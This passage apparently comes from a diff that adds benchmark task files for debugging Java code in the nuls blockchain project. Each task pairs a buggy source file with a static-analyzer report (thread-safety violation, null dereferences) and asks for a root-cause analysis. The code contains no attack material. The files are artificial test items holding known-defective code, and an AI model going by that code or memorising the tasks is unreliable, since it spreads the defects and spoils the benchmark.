+        for (int i = 0; i < utxoData.getInputs().size(); i++) {
+            UtxoInput input = utxoData.getInputs().get(i);
+
+            UtxoOutput output = ledgerCacheService.getUtxo(input.getKey());
+            if (output == null) {
+                throw new NulsRuntimeException(ErrorCode.UTXO_NOT_FOUND);
+            }
+//                map.put("txHash", input.getFromHash().getDigestHex());
+//                map.put("outIndex", input.getFromIndex());
+//                UtxoOutputPo outputPo = outputDataService.get(map);
+//                if (outputPo == null) {
+//                    throw new NulsRuntimeException(ErrorCode.UTXO_NOT_FOUND);
+//                }
+//                output = UtxoTransferTool.toOutput(outputPo);
+            if (tx.getType() == TransactionConstant.TX_TYPE_STOP_AGENT) {
+                if (output.getStatus() != OutPutStatusEnum.UTXO_CONSENSUS_LOCK) {
+                    throw new NulsRuntimeException(ErrorCode.UTXO_STATUS_CHANGE);
+                }
+            } else {
+                if (!output.isUsable()) {
+                    throw new NulsRuntimeException(ErrorCode.UTXO_STATUS_CHANGE);
+                }
+            }
+            output.setStatus(OutPutStatusEnum.UTXO_SPENT);
+            spends.add(output);
+            spendPoList.add(UtxoTransferTool.toOutputPojo(output));
+            inputPoList.add(UtxoTransferTool.toInputPojo(input));
+            addressSet.add(output.getAddress());
+        }
+    }
+
+    private void refreshCache(List<UtxoOutput> spends, List<UtxoOutput> outputList) {
+        for (int i = 0; i < spends.size(); i++) {
+            ledgerCacheService.removeUtxo(spends.get(i).getKey());
+        }
+        for (UtxoOutput output : outputList) {
+            ledgerCacheService.putUtxo(output.getKey(), output, true);
+        }
+    }
+
+    @Override
+    @DbSession
+    public void rollback(CoinData coinData, Transaction tx) {
+        UtxoData utxoData = (UtxoData) coinData;
+        if (utxoData == null) {
+            return;
+        }
+        Map<String, Object> keyMap = new HashMap<>();
+        for (int i = utxoData.getOutputs().size() - 1; i >= 0; i--) {
+            UtxoOutput output = utxoData.getOutputs().get(i);
+            keyMap.put("txHash", output.getTxHash().getDigestHex());
+            keyMap.put("outIndex", output.getIndex());
+            int count = outputDataService.delete(keyMap);
+            if (count != 1) {
+                Log.info("delete " + output.getKey() + " fail");
+                throw new NulsRuntimeException(ErrorCode.DATA_ERROR, "delete output failed!");
+            } else {
+                Log.info("delete " + output.getKey() + " success");
+            }
+            ledgerCacheService.removeUtxo(output.getKey());
+        }
+
+        for (int i = utxoData.getInputs().size() - 1; i >= 0; i--) {
+            UtxoInput input = utxoData.getInputs().get(i);
+            keyMap.put("txHash", input.getFromHash().getDigestHex());
+            keyMap.put("outIndex", input.getFromIndex());
+            UtxoOutputPo po = outputDataService.get(keyMap);
+            if (tx.getType() == TransactionConstant.TX_TYPE_STOP_AGENT) {
+                po.setLockTime(0L);
+                po.setStatus(UtxoOutputPo.LOCKED);
+            } else {
+                po.setStatus(UtxoOutputPo.USABLE);
+            }
+            outputDataService.updateStatus(po);
+            UtxoOutput output = UtxoTransferTool.toOutput(po);
+            ledgerCacheService.putUtxo(output.getKey(), output, true);
+        }
+
+        String txHash = tx.getHash().getDigestHex();
+        inputDataService.deleteByHash(txHash);
+        relationDataService.deleteRelation(txHash);
+    }
+
+    @Override
+    public CoinData createByTransferData(Transaction tx, CoinTransferData coinParam, String password) throws NulsException {
+        lock.lock();
+        try {
+            if (coinParam.getSpecialData() != null) {
+                return createBySpecialData(tx, coinParam, password);
+            }
+            UtxoData utxoData = new UtxoData();
+            List<UtxoInput> inputs = new ArrayList<>();
+            List<UtxoOutput> outputs = new ArrayList<>();
+            // Na totalNa = Na.ZERO;
+
+            if (coinParam.getTotalNa().equals(Na.ZERO)) {
+                utxoData.setInputs(inputs);
+                utxoData.setOutputs(outputs);
+                return utxoData;
+            }
+
+            long inputValue = 0;
+            if (!coinParam.getFrom().isEmpty()) {
+                //find unSpends to create inputs for this tx
+                Na totalFee = Na.ZERO;
+                if (tx instanceof UnlockNulsTransaction) {
+                    totalFee = coinParam.getFee();
+                } else {
+                    totalFee = coinParam.getTotalNa().add(coinParam.getFee());
+                }
+
+                List<UtxoOutput> unSpends = coinManager.getAccountsUnSpend(coinParam.getFrom(), totalFee);
+                if (unSpends.isEmpty()) {
+                    throw new NulsException(ErrorCode.BALANCE_NOT_ENOUGH);
+                }
+
+                for (int i = 0; i < unSpends.size(); i++) {
+                    UtxoOutput output = unSpends.get(i);
+                    UtxoInput input = new UtxoInput();
+                    input.setFrom(output);
+                    input.setFromHash(output.getTxHash());
+                    input.setFromIndex(output.getIndex());
+                    input.setTxHash(tx.getHash());
+                    input.setIndex(i);
+                    inputValue += output.getValue();
+
+                    inputs.add(input);
+                }
+            }
+
+            //get EcKey for output's script
+            Account account = null;
+            byte[] priKey = null;
+            if (coinParam.getPriKey() != null) {
+                priKey = coinParam.getPriKey();
+            } else if (!coinParam.getFrom().isEmpty()) {
+                account = accountService.getAccount(coinParam.getFrom().get(0));
+                if (account == null) {
+                    throw new NulsException(ErrorCode.ACCOUNT_NOT_EXIST);
+                }
+                if (account.isEncrypted() && account.isLocked()) {
+                    if (!account.unlock(password)) {
+                        throw new NulsException(ErrorCode.PASSWORD_IS_WRONG);
+                    }
+                    priKey = account.getPriKey();
+                    account.lock();
+                } else {
+                    priKey = account.getPriKey();
+                }
+            }
+
+            //create outputs
+            long outputValue = 0;
+            for (int index=0;index<coinParam.getToCoinList().size();index++) {
+                Coin coin = coinParam.getToCoinList().get(index);
+                UtxoOutput output = new UtxoOutput();
+                output.setAddress(coin.getAddress());
+                output.setValue(coin.getNa().getValue());
+                if (output.getLockTime() > 0) {
+                    output.setStatus(OutPutStatusEnum.UTXO_TIME_LOCK);
+                } else if (tx instanceof LockNulsTransaction) {
+                    output.setStatus(OutPutStatusEnum.UTXO_CONSENSUS_LOCK);
+                } else {
+                    output.setStatus(OutPutStatusEnum.UTXO_UNSPENT);
+                }
+
+                output.setIndex(index);
+                P2PKHScript p2PKHScript = new P2PKHScript(new NulsDigestData(NulsDigestData.DIGEST_ALG_SHA160, new Address(coin.getAddress()).getHash160()));
+                output.setP2PKHScript(p2PKHScript);
+                if (coin.getUnlockHeight() > 0) {
+                    output.setLockTime(coin.getUnlockHeight());
+                } else if (coin.getUnlockTime() > 0) {
+                    output.setLockTime(coin.getUnlockTime());
+                } else {
+                    output.setLockTime(0L);
+                }
+                output.setTxHash(tx.getHash());
+                outputValue += output.getValue();
+                outputs.add(output);
+            }
+
+            //the balance leave to myself
+            long balance = 0;
+            if (outputValue > 0) {
+                balance = inputValue - outputValue - coinParam.getFee().getValue();
+            } else {
+                balance = inputValue - coinParam.getTotalNa().getValue() - coinParam.getFee().getValue();
+            }
+            if (balance > 0) {
+                UtxoOutput output = new UtxoOutput();
+                output.setAddress(inputs.get(0).getFrom().getAddress());
+                output.setValue(balance);
+                output.setIndex(outputs.size());
+                output.setTxHash(tx.getHash());
+                output.setStatus(OutPutStatusEnum.UTXO_UNSPENT);
+                P2PKHScript p2PKHScript = new P2PKHScript(new NulsDigestData(NulsDigestData.DIGEST_ALG_SHA160, account.getHash160()));
+                output.setP2PKHScript(p2PKHScript);
+                outputs.add(output);
+            }
+            utxoData.setInputs(inputs);
+            utxoData.setOutputs(outputs);
+            return utxoData;
+        } finally {
+            lock.unlock();
+        }
+    }
+
+    public CoinData createBySpecialData(Transaction tx, CoinTransferData coinParam, String password) throws NulsException {
+        UtxoData utxoData = new UtxoData();
+        List<UtxoInput> inputs = new ArrayList<>();
+        List<UtxoOutput> outputs = new ArrayList<>();
+
+        Map<String, Object> map = coinParam.getSpecialData();
+        int type = (int) map.get("type");
+        if (type == 1) {
+            String lockTxHash = map.get("lockedTxHash").toString();
+            Long lockTime = (Long) map.get("lockTime");
+            Map<String, Object> keyMap = new HashMap<>();
+            keyMap.put("txHash", lockTxHash);
+            keyMap.put("outIndex", 0);
+            UtxoOutputPo outputPo = outputDataService.get(keyMap);
+            if (outputPo == null) {
+                throw new NulsException(ErrorCode.UTXO_NOT_FOUND);
+            }
+            if (outputPo.getStatus() != UtxoOutputPo.LOCKED) {
+                throw new NulsException(ErrorCode.UTXO_STATUS_CHANGE);
+            }
+            UtxoOutput output = UtxoTransferTool.toOutput(outputPo);
+
+            UtxoInput input = new UtxoInput();
+            input.setFrom(output);
+            input.setFromHash(output.getTxHash());
+            input.setFromIndex(output.getIndex());
+            input.setIndex(0);
+            inputs.add(input);
+
+            UtxoOutput newOutput = new UtxoOutput();
+            newOutput.setIndex(0);
+            newOutput.setValue(output.getValue());
+            newOutput.setAddress(output.getAddress());
+            newOutput.setLockTime(tx.getTime() + lockTime);
+            newOutput.setStatus(OutPutStatusEnum.UTXO_TIME_LOCK);
+            newOutput.setCreateTime(TimeService.currentTimeMillis());
+            P2PKHScript p2PKHScript = new P2PKHScript(new NulsDigestData(NulsDigestData.DIGEST_ALG_SHA160, new Address(output.getAddress()).getHash160()));
+            newOutput.setP2PKHScript(p2PKHScript);
+            outputs.add(newOutput);
+
+            utxoData.setInputs(inputs);
+            utxoData.setOutputs(outputs);
+            utxoData.setTotalNa(Na.valueOf(output.getValue()));
+        }
+        return utxoData;
+    }
+
+    @Override
+    public void afterParse(CoinData coinData, Transaction tx) {
+        UtxoData utxoData = (UtxoData) coinData;
+        if (null != utxoData.getInputs()) {
+            for (UtxoInput input : utxoData.getInputs()) {
+                input.setTxHash(tx.getHash());
+            }
+        }
+        if (tx instanceof LockNulsTransaction) {
+            utxoData.getOutputs().get(0).setStatus(OutPutStatusEnum.UTXO_CONSENSUS_LOCK);
+        }
+//        Na totalNa = Na.ZERO;
+        if (null != utxoData.getOutputs()) {
+            for (int i = 0; i < utxoData.getOutputs().size(); i++) {
+                UtxoOutput output = utxoData.getOutputs().get(i);
+                output.setTxHash(tx.getHash());
+            }
+        }
+//        coinData.setTotalNa(totalNa);
+    }
+
+    @Override
+    public ValidateResult conflictDetect(Transaction tx, List<Transaction> txList) {
+        AbstractCoinTransaction coinTx = (AbstractCoinTransaction) tx;
+        UtxoData txUtxoData = (UtxoData) coinTx.getCoinData();
+        if (txUtxoData.getInputs() == null || txUtxoData.getInputs().isEmpty()) {
+            return ValidateResult.getSuccessResult();
+        }
+        Set<String> outputSet = new HashSet<>();
+        for (Transaction transaction : txList) {
+            if (!(transaction instanceof AbstractCoinTransaction)) {
+                continue;
+            }
+            AbstractCoinTransaction coinTransaction = (AbstractCoinTransaction) transaction;
+            UtxoData utxoData = (UtxoData) coinTransaction.getCoinData();
+            if (null == utxoData.getInputs() || utxoData.getInputs().isEmpty()) {
+                continue;
+            }
+            for (UtxoInput input : utxoData.getInputs()) {
+                outputSet.add(input.getKey());
+            }
+        }
+        for (UtxoInput input : txUtxoData.getInputs()) {
+            boolean result = outputSet.add(input.getKey());
+            if (!result) {
+                return ValidateResult.getFailedResult(ErrorCode.FAILED, "input conflict!");
+            }
+        }
+        return ValidateResult.getSuccessResult();
+    }
+
+    @Override
+    public ValidateResult verifyCoinData(AbstractCoinTransaction tx, List<Transaction> txList) {
+
+        if (txList == null || txList.isEmpty()) {
+            //It's all an orphan that can go here
+            return ValidateResult.getFailedResult(ErrorCode.ORPHAN_TX);
+        }
+
+        UtxoData data = (UtxoData) tx.getCoinData();
+
+
+        Map<String, UtxoOutput> outputMap = getAllOutputMap(txList);
+
+
+        for (int i = 0; i < data.getInputs().size(); i++) {
+            UtxoInput input = data.getInputs().get(i);
+            UtxoOutput output = ledgerCacheService.getUtxo(input.getKey());
+
+            if (output == null && tx.getStatus() == TxStatusEnum.UNCONFIRM) {
+                output = outputMap.get(input.getKey());
+                if (null == output) {
+                    return ValidateResult.getFailedResult(ErrorCode.ORPHAN_TX);
+                }
+            } else if (output == null) {
+                return ValidateResult.getFailedResult(ErrorCode.UTXO_NOT_FOUND);
+            }
+
+            if (tx.getStatus() == TxStatusEnum.UNCONFIRM) {
+                if (tx.getType() == TransactionConstant.TX_TYPE_STOP_AGENT) {
+                    if (output.getStatus() != OutPutStatusEnum.UTXO_CONSENSUS_LOCK) {
+                        return ValidateResult.getFailedResult(ErrorCode.UTXO_STATUS_CHANGE);
+                    }
+                } else if (!output.isUsable()) {
+                    return ValidateResult.getFailedResult(ErrorCode.UTXO_STATUS_CHANGE);
+                }
+            }
+//            else if (tx.getStatus() == TxStatusEnum.AGREED) {
+//                if (!output.isSpend()) {
+//                    return ValidateResult.getFailedResult(ErrorCode.UTXO_STATUS_CHANGE);
+//                }
+//            }
+
+            byte[] owner = output.getOwner();
+            P2PKHScriptSig p2PKHScriptSig = null;
+            try {
+                p2PKHScriptSig = P2PKHScriptSig.createFromBytes(tx.getScriptSig());
+            } catch (NulsException e) {
+                return ValidateResult.getFailedResult(ErrorCode.DATA_ERROR);
+            }
+            byte[] user = p2PKHScriptSig.getSignerHash160();
+            if (!Arrays.equals(owner, user)) {
+                return ValidateResult.getFailedResult(ErrorCode.INVALID_INPUT);
+            }
+
+            return ValidateResult.getSuccessResult();
+        }
+        return ValidateResult.getSuccessResult();
+    }
+
+    private Map<String, UtxoOutput> getAllOutputMap(List<Transaction> txList) {
+        Map<String, UtxoOutput> map = new HashMap<>();
+        for (Transaction tx : txList) {
+            if (!(tx instanceof AbstractCoinTransaction)) {
+                continue;
+            }
+            List<UtxoOutput> outputs = ((UtxoData) ((AbstractCoinTransaction) tx).getCoinData()).getOutputs();
+            if (null == outputs) {
+                continue;
+            }
+            for (UtxoOutput output : outputs) {
+                if (output.getTxHash() == null) {
+                    output.setTxHash(tx.getHash());
+                }
+                map.put(output.getKey(), output);
+            }
+        }
+        for (Transaction tx : txList) {
+            if (!(tx instanceof AbstractCoinTransaction)) {
+                continue;
+            }
+            List<UtxoInput> inputs = ((UtxoData) ((AbstractCoinTransaction) tx).getCoinData()).getInputs();
+            if (null == inputs) {
+                continue;
+            }
+            for (UtxoInput input : inputs) {
+                map.remove(input.getKey());
+            }
+        }
+        return map;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `io.nuls.ledger.service.impl.UtxoCoinDataProvider.verifyCoinData` indirectly writes to field `n$8.io.nuls.protocol.context.NulsContext.bestBlock` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+Note that the prefix path n$8 has been contaminated during the execution, so the reported race on n$8.io.nuls.protocol.context.NulsContext.bestBlock might be a false positive.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+ValidateResult UtxoCoinDataProvider.verifyCoinData(AbstractCoinTransaction,List)
+
+### Procedure Id:
+io.nuls.ledger.service.impl.UtxoCoinDataProvider.verifyCoinData(io.nuls.ledger.entity.tx.AbstractCoi.c0c7815655d47fd3628c3129ffec80f5
+
+### File:
+ledger-impl/src/main/java/io/nuls/ledger/service/impl/UtxoCoinDataProvider.java
+
+### Key:
+UtxoCoinDataProvider.java|verifyCoinData|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+055220aa3e3d7d4a43879e3bba16fb58
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4075/instruction.md b/inferredbugs-4075/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a6bbb31958ed9bcce8b31bb38a50505d42e7e296
--- /dev/null
+++ b/inferredbugs-4075/instruction.md
@@ -0,0 +1,127 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** nuls
+**Bug ID:** 123
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package io.nuls.message.bus.processor;
+
+import com.lmax.disruptor.EventHandler;
+import io.nuls.core.tools.disruptor.DisruptorData;
+import io.nuls.core.tools.log.Log;
+import io.nuls.message.bus.constant.MessageBusConstant;
+import io.nuls.message.bus.message.CommonDigestMessage;
+import io.nuls.message.bus.processor.manager.ProcessData;
+import io.nuls.message.bus.service.impl.MessageCacheService;
+import io.nuls.protocol.constant.ProtocolConstant;
+import io.nuls.protocol.message.SmallBlockMessage;
+import io.nuls.protocol.message.base.BaseMessage;
+
+/**
+ * @author: Charlie
+ * @date: 2018/5/6
+ */
+public class MessageCheckingProcessor<E extends BaseMessage> implements EventHandler<DisruptorData<ProcessData<E>>> {
+
+    private MessageCacheService messageCacheService = MessageCacheService.getInstance();
+
+    @Override
+    public void onEvent(DisruptorData<ProcessData<E>> processDataDisruptorMessage, long l, boolean b) {
+        try {
+            BaseMessage message = processDataDisruptorMessage.getData().getData();
+            if (null == message || message.getHeader() == null) {
+                return;
+            }
+            messageCacheService.cacheRecievedMessageHash(message.getHash());
+            //todo test
+            if (message.getHeader().getModuleId() == ProtocolConstant.MODULE_ID_PROTOCOL && message.getHeader().getMsgType() == ProtocolConstant.MESSAGE_TYPE_NEW_BLOCK) {
+                SmallBlockMessage smallBlockMessage = (SmallBlockMessage) message;
+                Log.warn("rcv-msg:" + smallBlockMessage.getMsgBody().getHeader().getHash().toString());
+            }
+
+            boolean commonDigestTx = message.getHeader().getMsgType() == MessageBusConstant.MSG_TYPE_COMMON_MSG_HASH_MSG &&
+                    message.getHeader().getModuleId() == MessageBusConstant.MODULE_ID_MESSAGE_BUS;
+
+            if (!commonDigestTx) {
+                return;
+            }
+            if (messageCacheService.kownTheMessage(((CommonDigestMessage) message).getMsgBody())) {
+                Log.info("discard:{}," + ((CommonDigestMessage) message).getMsgBody(), processDataDisruptorMessage.getData().getNode().getId());
+                processDataDisruptorMessage.setStoped(true);
+            } else if (messageCacheService.kownTheMessage(message.getHash())) {
+                Log.info("discard2:{}," + message.getClass(), processDataDisruptorMessage.getData().getNode().getId());
+                processDataDisruptorMessage.setStoped(true);
+            }
+        } catch (Exception e) {
+            Log.error(e);
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `smallBlockMessage.getMsgBody().getHeader().getHash()` could be null and is dereferenced at line 33.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void MessageCheckingProcessor.onEvent(DisruptorData,long,boolean)
+
+### Procedure Id:
+io.nuls.message.bus.processor.MessageCheckingProcessor.onEvent(io.nuls.core.tools.disruptor.Disrupto.7c95a7e68d314a7934ec80eed5332c07
+
+### File:
+message-bus-module/base/message-bus-base/src/main/java/io/nuls/message/bus/processor/MessageCheckingProcessor.java
+
+### Key:
+MessageCheckingProcessor.java|onEvent|NULL_DEREFERENCE
+
+### Node Key:
+3677875e6aead27ee1320f16c80d8b0f
+
+### Hash:
+df0a76353b15e7f20b0113ebec63abcb
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4081/instruction.md b/inferredbugs-4081/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c25afb124b7ab6fe2bbce554c880dd10e9972fad
--- /dev/null
+++ b/inferredbugs-4081/instruction.md
@@ -0,0 +1,149 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** nuls
+**Bug ID:** 23
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * MIT License
+ *
+ * Copyright (c) 2017-2018 nuls.io
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in all
+ * copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+package io.nuls.ledger.entity;
+
+import io.nuls.core.chain.entity.Na;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * @author Niels
+ * @date 2017/11/13
+ */
+public class UtxoBalance extends Balance {
+
+    private List<UtxoOutput> unSpends;
+
+    public UtxoBalance() {
+        super();
+    }
+
+    public UtxoBalance(Na useable, Na locked) {
+        super(useable, locked);
+        this.unSpends = new ArrayList<>();
+    }
+
+    public UtxoBalance(Na useable, Na locked, List<UtxoOutput> unSpends) {
+        this(useable, locked);
+        this.unSpends = unSpends;
+    }
+
+    public List<UtxoOutput> getUnSpends() {
+        return unSpends;
+    }
+
+    public void setUnSpends(List<UtxoOutput> unSpends) {
+        this.unSpends = unSpends;
+    }
+
+    public void addUnSpend(UtxoOutput unSpend) {
+        this.unSpends.add(unSpend);
+    }
+
+    public boolean containsSpend(String key) {
+        for (int i = 0; i < unSpends.size(); i++) {
+            UtxoOutput output = unSpends.get(i);
+            if (key.equals(output.getTxHash().getDigestHex() + "-" + output.getIndex())) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `output.getTxHash()` could be null and is dereferenced at line 68.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean UtxoBalance.containsSpend(String)
+
+### Procedure Id:
+io.nuls.ledger.entity.UtxoBalance.containsSpend(java.lang.String):boolean.3aa84fa3c89cce7d5b51b06bd05f0283
+
+### File:
+ledger-impl/src/main/java/io/nuls/ledger/entity/UtxoBalance.java
+
+### Key:
+UtxoBalance.java|containsSpend|NULL_DEREFERENCE
+
+### Node Key:
+3677875e6aead27ee1320f16c80d8b0f
+
+### Hash:
+94007491ba060569f377835ae7eabd2b
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4101/instruction.md b/inferredbugs-4101/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a1c0228584449b6e1f39036e9f47eefe15d9d292
--- /dev/null
+++ b/inferredbugs-4101/instruction.md
@@ -0,0 +1,272 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** nuls
+**Bug ID:** 14
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * MIT License
+ *
+ * Copyright (c) 2017-2018 nuls.io
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in all
+ * copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+package io.nuls.consensus.utils;
+
+import io.nuls.consensus.entity.BlockHashResponse;
+import io.nuls.consensus.event.GetBlocksHashRequest;
+import io.nuls.core.chain.entity.BlockHeader;
+import io.nuls.core.chain.entity.NulsDigestData;
+import io.nuls.core.constant.ErrorCode;
+import io.nuls.core.context.NulsContext;
+import io.nuls.core.exception.NulsRuntimeException;
+import io.nuls.core.utils.date.TimeService;
+import io.nuls.core.utils.log.Log;
+import io.nuls.event.bus.service.intf.EventBroadcaster;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+
+/**
+ * @author Niels
+ * @date 2017/12/11
+ */
+public class DistributedBlockInfoRequestUtils {
+    private static final DistributedBlockInfoRequestUtils INSTANCE = new DistributedBlockInfoRequestUtils();
+    private EventBroadcaster eventBroadcaster = NulsContext.getInstance().getService(EventBroadcaster.class);
+    private List<String> nodeIdList;
+    private Map<String, BlockHashResponse> hashesMap = new HashMap<>();
+    /**
+     * list order by answered time
+     */
+    private Map<String, List<String>> calcMap = new HashMap<>();
+    private BlockInfo bestBlockInfo;
+    private long start, end, split;
+    private Lock lock = new ReentrantLock();
+    private boolean requesting;
+    private long startTime;
+
+    private DistributedBlockInfoRequestUtils() {
+    }
+
+    public static DistributedBlockInfoRequestUtils getInstance() {
+        return INSTANCE;
+    }
+
+    /**
+     * default:0,get best height;
+     *
+     * @param height
+     */
+    public BlockInfo request(long height) {
+        return this.request(height, height, 1);
+    }
+
+    public BlockInfo request(long start, long end, long split) {
+        lock.lock();
+        this.startTime = TimeService.currentTimeMillis();
+        requesting = true;
+        hashesMap.clear();
+        calcMap.clear();
+        this.start = start;
+        this.end = end;
+        this.split = split;
+        GetBlocksHashRequest event = new GetBlocksHashRequest(start, end, split);
+        nodeIdList = this.eventBroadcaster.broadcastAndCache(event, false);
+        if (nodeIdList.isEmpty()) {
+            Log.error("get best height from net faild!");
+            lock.unlock();
+            throw new NulsRuntimeException(ErrorCode.NET_MESSAGE_ERROR, "broadcast faild!");
+        }
+        return this.getBlockInfo();
+    }
+
+
+    public boolean addBlockHashResponse(String nodeId, BlockHashResponse response) {
+        if (!hashesMap.containsKey(nodeId)) {
+            return false;
+        }
+        if (!requesting) {
+            return false;
+        }
+        if(hashesMap.get(nodeId)==null){
+            hashesMap.put(nodeId, response);
+        }else{
+            BlockHashResponse instance = hashesMap.get(nodeId);
+            instance.merge(response);
+            hashesMap.put(nodeId,instance);
+        }
+        if(response.getHeightList().get(response.getHeightList().size()-1)<end){
+            return true;
+        }
+        String key = response.getHash().getDigestHex();
+        List<String> nodes = calcMap.get(key);
+        if (null == nodes) {
+            nodes = new ArrayList<>();
+        }
+        if (!nodes.contains(nodeId)) {
+            nodes.add(nodeId);
+        }
+        calcMap.put(key, nodes);
+        calc();
+        return true;
+    }
+
+    private void calc() {
+        if (null == nodeIdList || nodeIdList.isEmpty()) {
+            throw new NulsRuntimeException(ErrorCode.FAILED, "success list of nodes is empty!");
+        }
+
+        int size = nodeIdList.size();
+        int halfSize = (size + 1) / 2;
+        if (hashesMap.size() < halfSize) {
+            return;
+        }
+        BlockInfo result = null;
+        for (String key : calcMap.keySet()) {
+            List<String> nodes = calcMap.get(key);
+            if (nodes.size() > halfSize) {
+                result = new BlockInfo();
+                BlockHashResponse response = hashesMap.get(result.getNodeIdList().get(0));
+                Long bestHeight = 0L;
+                NulsDigestData bestHash = null;
+                for (int i = 0; i < response.getHeightList().size(); i++) {
+                    Long height = response.getHeightList().get(i);
+                    NulsDigestData hash = response.getHashList().get(i);
+                    if (height > bestHeight) {
+                        bestHash = hash;
+                        bestHeight = height;
+                    }
+                    result.putHash(height, hash);
+                }
+                result.setBestHash(bestHash);
+                result.setBestHeight(bestHeight);
+                result.setNodeIdList(nodes);
+                result.setFinished(true);
+                break;
+            }
+        }
+        if (null != result) {
+            bestBlockInfo = result;
+        } else if (size == calcMap.size()) {
+            try {
+                Thread.sleep(2000L);
+            } catch (InterruptedException e) {
+                Log.error(e);
+            }
+            this.request(start, end, split);
